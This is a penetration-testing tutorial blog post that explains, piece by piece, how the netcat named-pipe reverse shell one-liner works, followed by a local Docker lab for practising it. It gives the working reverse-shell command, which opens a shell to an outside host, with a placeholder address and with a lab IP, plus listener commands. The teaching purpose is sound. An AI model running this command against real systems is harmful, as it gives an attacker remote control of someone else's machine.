Anatomy of a Reverse Shell: nc named pipe

Anatomy of a Reverse Shell: nc named pipe

Jason Taylor · May 21, 2022

In penetration testing and hacking, one of the main goals is to obtain a reverse shell on the target or victim system. Sometimes the code and commands to obtain these reverse shells can be very complicated if you aren’t familiar with every little piece of the command that is chained together. Today, we’ll be discussing a Netcat named pipe reverse shell and breaking it down to fully understand how it works.

Netcat Named Pipe

Here is the reverse shell command that we are taking a deeper look into:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT > /tmp/f

If you have remote code execution on a target system, and that system has nc installed and available, you can enter the above code (replacing IP and PORT with your own IP and a listening port), and you will get a shell on the target box that lets you enter commands and receive the output in your own terminal.

Let’s break down each of these individual commands and take a closer look at what they do and how they work together to give you a semi-interactive reverse shell.

rm /tmp/f;
This removes the /tmp/f file if it exists. This allows the file to be created in the next step without interfering with an existing file. Ideally, this filename should be fairly unique. If you’re using this in a CTF or engagement, make sure to use a unique filename for all instances of the /tmp/f file in the command.

mkfifo /tmp/f;
This uses mkfifo to create a “first in, first out” file, also known as a named pipe. This special type of file can be opened by one process for reading and another for writing. Anything the writing process puts in the file is immediately read by the process that is reading it.

cat /tmp/f
cat is typically used to read a file and output its contents to the terminal. Here, since we are reading a FIFO (named pipe) file, cat will read the file, but since no program has begun writing to it, there is no End of File (EOF) marker. The program waits at this point for data to appear. When new data arrives, it reads and sends it down the pipeline to the next command. If no EOF is seen, it pauses and keeps retrying until more data is added. This repeats until EOF is read.

| /bin/sh -i 2>&1
The contents from /tmp/f are sent to the /bin/sh shell. The -i flag starts an interactive session, executing commands as they are read from /tmp/f. The 2>&1 part redirects standard error to standard output. By default, error output is not forwarded in the pipeline. Redirecting it ensures that both standard output and error are sent to the next command.

Why do almost all reverse shells use /bin/sh instead of the friendlier /bin/bash?
Not all systems have /bin/bash installed. However, /bin/sh will always be available on all Unix/Linux systems, including embedded and IoT devices.

| nc IP PORT > /tmp/f
Next, we take the output of sh (executing commands from /tmp/f) and use netcat to connect to the specified IP and port. Any input received from the IP (e.g., typed commands) is written to /tmp/f, read by cat, and piped into sh, completing the loop.

Putting It All Together

This type of reverse shell is cyclical. Initially, you read the empty /tmp/f file, and /bin/sh executes nothing. The output is sent to nc at your IP, which lets you type a command. That command is written to /tmp/f, picked up by cat /tmp/f, and executed by sh. The output is sent back to your nc session, and displayed in your terminal.

Hands-On Docker Lab

If you have Docker, you can use this hands-on lab to practice reverse shell commands demonstrated in this post. You can also try out other techniques. For a great reverse shell reference and command builder, check out RevShells.com.

Prerequisites

You will need Docker and Netcat installed on your PC.

Installing Docker

Docker is available for Windows, Linux, and macOS. Refer to the official Docker documentation for installation instructions.

Installing Netcat

Windows
Download nc.exe from int0x33’s GitHub and run it from the command prompt.

Linux
Netcat should be available via your distribution’s package manager.

macOS
Netcat should be installed by default. Run nc from a Terminal to check.

Finding Your IP

To connect back to your machine, you need your local IP address.

Windows
Run:

ipconfig

Look for your IPv4 address under either the Ethernet or Wireless adapter section.

Linux and macOS
Run:

ifconfig

Starting the Docker rce-lab

Run the following to launch the Docker image and serve it on port 80:

docker run -itp 80:80 --rm rufflabs/rce-lab

Testing Remote Code Execution

Go to http://localhost/ in your browser. You should see a simple web page with an input box. Try commands like whoami or ls -al to confirm code execution. Confirm that nc is available by running which nc. If it returns a path, it’s available.

Gaining a Reverse Shell

Once you confirm code execution in the Docker container, you can likely obtain a reverse shell via Netcat.

Starting a Netcat Listener

Open a terminal and run the following (modify as needed):

Linux/Windows:

nc -lp 4444

macOS:

nc -l 4444

The terminal will wait for a connection.

Using RCE for Reverse Shell

Update the original command with your IP and port:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.101 4444 > /tmp/f

Paste it into the website input box and submit. The page may hang — that’s expected. Switch to your terminal, and you should see a shell prompt.

Why does the browser hang?
The PHP backend runs the reverse shell and waits forever as the process doesn’t complete. It hangs until it times out, potentially disconnecting your reverse shell.